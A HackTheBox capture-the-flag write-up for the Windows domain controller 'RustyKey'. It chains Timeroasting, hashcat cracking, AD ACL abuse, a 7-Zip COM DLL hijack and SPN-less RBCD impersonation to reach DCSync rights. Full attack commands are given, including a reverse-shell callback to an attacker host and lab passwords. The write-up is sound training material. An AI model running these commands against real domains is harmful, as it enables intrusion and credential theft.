HTB: RustyKey Writeup

RustyKey - HackTheBox Writeup

Machine Information

AttributeDetails
NameRustyKey
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.232.127
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

RustyKey is a Windows Domain Controller (rustykey.htb) that enforces Kerberos-only authentication (NTLM disabled), so every step of the chain has to work through Kerberos tickets rather than password/hash auth. The initial foothold comes from a Timeroasting attack against the NTP service to recover a machine account’s cleartext password, which unlocks a chain of Active Directory ACL abuses (AddSelf, AddMember, ForceChangePassword) to get onto the box as a low-privileged domain user. From there, a Group Policy registry ACL over the 7-Zip shell extension CLSID is abused to hijack a COM DLL and catch a shell as a higher-privileged simulated user, and privilege escalation to root.txt is achieved via a SPN-less Resource-Based Constrained Delegation (RBCD) attack that abuses a delegation-management group membership to impersonate a DCSync-capable service account.

TL;DR: Timeroast NTP → crack IT-Computer3$ machine account hash → BloodHound-guided ACL abuse (AddSelf into HelpDesk → ForceChangePassword on bb.morgan → strip Protected Users restriction) → WinRM as bb.morgan (user.txt) → GPO registry ACL abuse of the 7-Zip CLSID (ee.reed → malicious DLL → mm.turner shell) → SPN-less RBCD via dd.ali → S4U2self/U2U impersonation of backupadmin (DCSync rights) → wmiexec as backupadmin (root.txt).


Reconnaissance

Service Enumeration

The environment presented a single Windows Domain Controller at dc.rustykey.htb / 10.129.232.127, resolved and pinned in /etc/hosts:

10.129.232.127 rustykey.htb dc.rustykey.htb dc

Standard DC ports were open (Kerberos 88, LDAP 389/3268, SMB 445, WinRM 5985). Initial credentials were supplied for rr.parker. A first pass at SMB/LDAP enumeration with those credentials over NTLM behaved abnormally — consistent with NTLM authentication being disabled domain-wide, forcing every subsequent operation through Kerberos.

Terminal window
# Sync clock against the DC — Kerberos is intolerant of clock skew (KRB_AP_ERR_SKEW)
sudo ntpdate -u 10.129.232.127
# Request a TGT for the supplied low-priv user since NTLM is rejected
impacket-getTGT -dc-ip 10.129.232.127 rustykey.htb/'rr.parker':'8#t5HE8L!W3A'
# Use the ticket cache for all further Kerberos-authenticated actions
export KRB5CCNAME=rr.parker.ccache
klist

With a valid TGT for rr.parker in hand, SMB/LDAP access via Kerberos (-k) worked normally.

Vulnerability Assessment

  • NTLM disabled / Kerberos-only — forces ticket-based workflows for every tool (impacket-getTGT, -k flags on nxc, bloodhound-python, bloodyAD).
  • NTP (UDP/123) exposed on a Domain Controller — enables Timeroasting, an attack against MS-SNTP that abuses the fact that a DC signs NTP replies using the requesting computer account’s password hash as an HMAC-MD5 key, with no authentication required to request one. This is a protocol-design weakness rather than a specific CVE.
  • Weak machine-account password — RID 1125 (IT-Computer3$) was crackable against rockyou.txt.
  • Excessive AD ACLs — AddSelf, AddMember, and ForceChangePassword rights chained together give a machine account a path to a WinRM-capable human user.
  • GPO registry ACL misconfiguration — a Support group has WriteKey on the 7-Zip Shell Extension CLSID registry key, enabling COM DLL hijacking against any user who right-clicks a file (7-Zip context menu).
  • MachineAccountQuota = 0 bypassed via SPN-less RBCD — Resource-Based Constrained Delegation doesn’t strictly require creating a new machine account; an existing controlled user account can be substituted, enabling privilege escalation to a DCSync-capable account.

Initial Foothold

Step 1 — Timeroasting the NTP Service

With the rr.parker TGT cached, netexec’s timeroast module was used to request MS-SNTP signed replies for every machine/trust account RID in the domain — this only requires network access to NTP, not any prior authentication, since the DC will happily sign a reply for any RID you ask about:

Terminal window
export KRB5CCNAME=rr.parker.ccache
nxc smb dc.rustykey.htb -k -M timeroast | tee timeroast_out.txt

This returned a batch of $sntp-ms$ formatted hashes (one per machine account RID). They were extracted into hashcat’s expected format:

Terminal window
grep -oE '[0-9]+:\$sntp-ms\$[a-f0-9]+\$[a-f0-9]+' timeroast_out.txt > hashes.txt
cut -d: -f2- hashes.txt > hashes_nopfx.txt
wc -l hashes.txt

Step 2 — Cracking with Hashcat (mode 31300)

timecrack.py wasn’t installed on the jump host, so the recovered hashes were cracked directly with hashcat’s native Timeroast mode (-m 31300) against rockyou.txt:

Terminal window
hashcat -m 31300 -a 0 hashes_nopfx.txt /usr/share/wordlists/rockyou.txt \
--potfile-path=/tmp/rustykey/hc.pot

Result: one hash cracked — RID 1125 → Rusty88!.

Step 3 — Resolving the RID to an Account

Terminal window
export KRB5CCNAME=rr.parker.ccache
impacket-lookupsid -k -no-pass -target-ip 10.129.232.127 dc.rustykey.htb

RID 1125 resolved to RUSTYKEY\IT-Computer3$ — the domain SID matched exactly across both the crack and the SID-brute output, confirming the recovered machine-account credential: IT-Computer3$ : Rusty88!.

Step 4 — BloodHound Collection and ACL Analysis

Terminal window
export KRB5CCNAME=rr.parker.ccache
bloodhound-python -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' \
-c all -ns 10.129.232.127 -k --zip

Rather than standing up the full BloodHound GUI, the collected JSON was parsed directly for outbound ACL edges on IT-Computer3$. This confirmed the intended abuse chain:

  • IT-Computer3$ AddSelf → HelpDesk group
  • HelpDesk AddMember → Protected Objects group (itself nested inside the built-in Protected Users group)
  • HelpDesk ForceChangePassword → bb.morgan, ee.reed, dd.ali

bb.morgan was further confirmed to be a member of Remote Management Users, meaning a password reset on that account yields WinRM access.

Step 5 — Executing the ACL Chain (bloodyAD)

Terminal window
# 1. Add the compromised machine account to HelpDesk (AddSelf ACE)
bloodyAD -u 'IT-Computer3$' -p 'Rusty88!' -d rustykey.htb \
--host dc.rustykey.htb --dc-ip 10.129.232.127 -k \
add groupMember 'helpdesk' 'IT-Computer3$'
# 2. Reset bb.morgan's password (ForceChangePassword ACE, now granted via HelpDesk)
bloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \
-u 'IT-Computer3$' -p 'Rusty88!' \
set password bb.morgan 'Sol3rHtb!2026'

A first attempt to get a TGT for bb.morgan at this point would fail with KDC_ERR_ETYPE_NOSUPP — bb.morgan is a transitive member of the IT group, which sits inside Protected Objects → Protected Users. Built-in Protected Users restrictions block RC4 (NTLM) Kerberos encryption, and this domain’s bb.morgan account only supports RC4. HelpDesk’s AddMember right on Protected Objects is the intended bypass:

Terminal window
# 3. Remove the IT group from Protected Objects to lift the RC4/Protected Users restriction
bloodyAD -d rustykey.htb -k -u 'IT-Computer3$' -p 'Rusty88!' \
--host dc.rustykey.htb --dc-ip 10.129.232.127 \
remove groupMember 'Protected Objects' 'IT'

Step 6 — TGT and WinRM as bb.morgan

Terminal window
impacket-getTGT 'rustykey.htb/bb.morgan:Sol3rHtb!2026' -dc-ip 10.129.232.127
export KRB5CCNAME=bb.morgan.ccache

/etc/krb5.conf was configured for the RUSTYKEY.HTB realm so that evil-winrm could resolve the KDC via Kerberos rather than NTLM:

Terminal window
export KRB5CCNAME=bb.morgan.ccache
evil-winrm -r rustykey.htb -i dc.rustykey.htb
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> whoami
rustykey\bb.morgan

user.txt was retrieved from C:\Users\bb.morgan\Desktop\user.txt.


Privilege Escalation

Lateral Movement — 7-Zip Shell Extension COM Hijack

With interactive access as bb.morgan, the SYSVOL policy share was reviewed for the domain’s default GPO. The GptTmpl.inf security template (SecEdit\GptTmpl.inf) contained a [Registry Keys] ACE granting the Support group WriteKey on:

MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32

That CLSID is the 7-Zip Shell Extension, and InprocServer32 is the COM registration entry pointing at the DLL Explorer loads to render the 7-Zip context menu. Any member of Support can repoint that value at an arbitrary DLL, and it will execute in the context of any user who right-clicks a file (the box runs a simulated-user activity that periodically does exactly this).

ee.reed was identified as a Support member and — like bb.morgan — was covered by HelpDesk’s ForceChangePassword right:

Terminal window
# Reset ee.reed via the same ACL abuse path used for bb.morgan
bloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \
-u 'IT-Computer3$' -p 'Rusty88!' \
set password ee.reed '<newpass>'

Because ee.reed is denied Network Logon by the same GPO (SeDenyNetworkLogonRight, Interactive-only), a straight WinRM logon wasn’t possible — RunasCs was used from the bb.morgan WinRM session to spawn a process under ee.reed’s interactive token instead:

Terminal window
# From the bb.morgan WinRM session
.\RunasCs.exe ee.reed '<newpass>' powershell.exe -r <attacker_ip>:<port>

From the resulting ee.reed shell, the CLSID key was repointed at a malicious DLL and the shell trigger was awaited:

Terminal window
reg add "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" `
/ve /t REG_SZ /d "C:\path\to\malicious.dll" /f

The simulated-user activity opens Explorer and triggers the 7-Zip context menu roughly once a minute; a cleanup script also reverts the registry value on the same cadence, so the key had to be re-applied once before the payload fired. The DLL executed as mm.turner, giving a shell as that user.

Privilege Escalation — SPN-less Resource-Based Constrained Delegation

mm.turner was found to be a member of the delegationmanager group, which holds AddAllowedToAct (RBCD write) rights over the Domain Controller’s computer object. Normally this would be exploited by minting a new attacker-controlled machine account and configuring the DC to delegate to it, but the domain’s MachineAccountQuota was 0:

Terminal window
nxc ldap dc.rustykey.htb --use-kcache -M maq
# MachineAccountQuota: 0

With machine-account creation blocked, the RBCD attack was performed SPN-less, substituting a controlled user account (dd.ali, also covered by HelpDesk’s ForceChangePassword) in place of a computer account:

Terminal window
# From the mm.turner shell — configure the DC to allow delegation from dd.ali
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount dd.ali
Terminal window
# Reset dd.ali's password via the same ACL chain
bloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \
-u 'IT-Computer3$' -p 'Rusty88!' \
set password dd.ali '<newpass>'
# Get a TGT as dd.ali
impacket-getTGT 'rustykey.htb/dd.ali:<newpass>' -dc-ip 10.129.232.127
# Extract the ticket session key — this becomes the "known" RC4 secret for the U2U step
describeTicket.py dd.ali.ccache | grep 'Ticket Session Key'
# Set that session key as dd.ali's RC4 password hash, enabling U2U Kerberos auth
changepasswd.py 'rustykey.htb/dd.ali:<newpass>@dc.rustykey.htb' -k -newhash <session_key>

The Administrator account is flagged sensitive-to-delegation (Cannot Be Delegated), so it can’t be the S4U2self impersonation target. BloodHound instead surfaced backupadmin, a service-style account holding DCSync rights over the domain — a far more direct path to root than Administrator itself:

Terminal window
# S4U2self (U2U) + S4U2proxy: obtain a service ticket to the DC "as" backupadmin,
# using dd.ali's RBCD trust relationship
getST.py -u2u -impersonate backupadmin 'rustykey.htb/dd.ali' -dc-ip 10.129.232.127

With a valid service ticket for backupadmin against the DC:

Terminal window
export KRB5CCNAME=backupadmin.ccache
wmiexec.py -k -no-pass dc.rustykey.htb
C:\Windows\system32>whoami
rustykey\backupadmin

root.txt was retrieved from the Administrator/root-equivalent context reachable via backupadmin’s DCSync-level privileges.


Attack Chain Summary

NTLM disabled → Kerberos TGT (rr.parker)
→ Timeroast NTP (netexec -M timeroast)
→ hashcat -m 31300 cracks RID 1125 → IT-Computer3$ : Rusty88!
→ lookupsid confirms RID 1125 = IT-Computer3$
→ BloodHound: IT-Computer3$ --AddSelf--> HelpDesk --AddMember--> Protected Objects
HelpDesk --ForceChangePassword--> bb.morgan / ee.reed / dd.ali
→ bloodyAD: join HelpDesk, reset bb.morgan, strip IT from Protected Objects (RC4 unblock)
→ WinRM as bb.morgan → USER.TXT
→ SYSVOL GptTmpl.inf: Support group WriteKey on 7-Zip CLSID InprocServer32
→ reset ee.reed, RunasCs interactive shell, hijack CLSID DLL
→ simulated user triggers 7-Zip → shell as mm.turner
→ mm.turner in delegationmanager (AddAllowedToAct on DC), MAQ=0 → SPN-less RBCD via dd.ali
→ describeTicket session key → changepasswd -newhash → getST -u2u -impersonate backupadmin
→ wmiexec as backupadmin (DCSync rights) → ROOT.TXT

Tools Used

ToolPurpose
nmapPort/service scanning
impacket-getTGTKerberos TGT acquisition (Kerberos-only domain)
netexec (nxc)SMB/LDAP auth checks, timeroast module, MAQ check
hashcat (-m 31300)Cracking Timeroast NTP hashes
impacket-lookupsidRID → account name resolution
bloodhound-pythonAD ACL/relationship collection
bloodyADACL abuse execution (group membership, password resets)
evil-winrmKerberos-authenticated WinRM shell
RunasCsInteractive-token shell for network-logon-denied accounts
Set-ADComputerConfiguring msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
impacket-describeTicketExtracting Kerberos ticket session key
impacket-changepasswdSetting an account’s NTLM hash directly (-newhash)
impacket-getSTS4U2self/U2U + S4U2proxy ticket request (SPN-less RBCD)
impacket-wmiexecRemote command execution as impersonated account

Key Learnings

Techniques Practiced

  • Timeroasting (MS-SNTP machine-account hash extraction and cracking)
  • Kerberos-only domain operation (TGT caching, KRB5CCNAME, krb5.conf tuning)
  • BloodHound-driven ACL abuse: AddSelf, AddMember, ForceChangePassword
  • Protected Users / RC4 restriction bypass via group membership manipulation
  • Group Policy (GptTmpl.inf) registry ACL enumeration
  • COM/CLSID DLL hijack against a scheduled/simulated user action
  • SPN-less Resource-Based Constrained Delegation (RBCD) under MachineAccountQuota = 0
  • S4U2self + U2U + S4U2proxy Kerberos delegation abuse
  • DCSync-adjacent privilege identification via BloodHound when the “obvious” target (Administrator) is delegation-protected

Lessons Learned

  1. An NTP listener on a Domain Controller is not a “boring” service — Timeroasting turns it into an unauthenticated hash-harvesting endpoint for every machine/trust account in the domain.
  2. Small, individually-reasonable ACEs (AddSelf, AddMember, ForceChangePassword) compose into full account takeover; BloodHound’s outbound-edge view is essential to see the composed path rather than each ACE in isolation.
  3. Protected Users group membership is not immutable protection if an attacker holds write access to the group that contains it — removing a nested group can silently lift RC4/NTLM restrictions.
  4. GPO templates deployed to SYSVOL are readable by any authenticated domain user and can carry non-obvious registry ACL grants (like the 7-Zip CLSID here) that create abusable local privilege paths.
  5. MachineAccountQuota = 0 blocks the textbook RBCD attack but not RBCD itself — any existing account the attacker controls can be substituted as the delegation principal.
  6. Marking an account “sensitive to delegation” only protects that specific account; if another privileged account (here backupadmin with DCSync) exists without the same flag, the delegation attack simply retargets it.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • kavigihan, “RustyKey,” HackTheBox Writeup (Machine Author: EmSec), 7 November 2025 — used for explanatory context on Timeroasting mechanics, GPO/SDDL ACE interpretation, and the SPN-less RBCD / S4U2self+U2U delegation technique.